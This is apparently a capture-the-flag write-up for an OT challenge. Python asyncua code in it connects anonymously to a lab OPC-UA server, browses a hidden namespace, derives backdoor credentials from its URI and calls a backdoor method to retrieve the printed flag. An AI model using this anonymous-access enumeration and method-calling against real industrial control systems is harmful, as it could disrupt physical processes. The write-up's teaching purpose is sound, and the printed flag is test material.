ESPILON-CTF-2026-Writeups/OT/Tachibana_SCADA

Tachibana SCADA

Field	Value
Category	OT
Difficulty	Medium-Hard
Points	500
Author	Eun0us
CTF	Espilon 2026

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Description

After the KIDS incident, forensic investigators found an OPC-UA server still running on the isolated SCADA segment at Tachibana General Laboratories.

The server allows anonymous connections. Beneath the standard industrial data, there is a hidden namespace registered by Eiri Masami before his termination.

Browse the address space. Find the hidden namespace. There is a method that was never meant to be called.

• OPC-UA Binary: tcp/<host>:4840

Format: ESPILON{flag}

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TL;DR

Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden urn:tachibana:eiri:kids namespace. Browse it to find Backdoor/Authenticate and Backdoor/ExtractResearchData methods. Derive credentials from the namespace URI (username=eiri, key_hash=SHA256("KIDS")[:16]). Call Authenticate, then call ExtractResearchData with project_id=7 to get the flag.

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Tools

Tool	Purpose
Python 3 + asyncua	OPC-UA async client
Python 3 + hashlib	SHA-256 key hash derivation

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Solution

Step 1 — Connect anonymously

import asyncio
from asyncua import Client

async def exploit():
    async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
        # Step 2: discover namespaces
        ns_array = await c.get_namespace_array()
        print(ns_array)

['http://opcfoundation.org/UA/',
 'urn:tachibana:scada',          ← public SCADA data
 'urn:tachibana:eiri:kids']      ← HIDDEN namespace

Step 2 — Browse the public namespace (ns=2)

Standard SCADA data: power distribution, cooling systems, Wired Interface Array. Note Resonance_Hz = 7.83 — a Schumann resonance breadcrumb.

Step 3 — Browse the hidden namespace (ns=3)

async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
    ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
    root = c.nodes.root

    eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
    kids = await eiri.get_child(f"{ns}:KIDS_Project")
    bkdr = await eiri.get_child(f"{ns}:Backdoor")

    # Variables inside KIDS_Project
    subject_count     = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
    protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
    # Protocol7_Version = "7.0.0-alpha"  → project_id = 7

    # Methods inside Backdoor
    auth_method    = await bkdr.get_child(f"{ns}:Authenticate")
    extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")

Step 4 — Read method argument descriptions

Authenticate(username: String, key_hash: ByteString) -> session_token: String

The key_hash InputArguments description says: "16-byte truncated SHA-256 of the project name"

Step 5 — Derive credentials

• username: eiri — from the namespace URI urn:tachibana:eiri:kids
• key_hash: SHA-256 of the project name, truncated to 16 bytes

import hashlib

# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
key_hash = hashlib.sha256(b"KIDS").digest()[:16]

Step 6 — Authenticate

async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
    ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
    bkdr = await c.nodes.root.get_child(
        [f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])

    auth_method = await bkdr.get_child(f"{ns}:Authenticate")
    result = await c.nodes.root.call_method(
        auth_method, "eiri", key_hash)
    session_token = result[0]
    print(f"Token: {session_token}")

Step 7 — Extract Protocol Seven (project_id=7)

    extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
    data = await c.nodes.root.call_method(
        extract_method, session_token, 7)
    print(data[0])  # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}

Key insights

• Namespace URI urn:tachibana:eiri:kids directly embeds both the username (eiri) and the hash source (kids)
• Protocol7_Version = "7.0.0-alpha" encodes project_id = 7
• Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
• Method argument description properties provide all hints needed

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Flag

ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}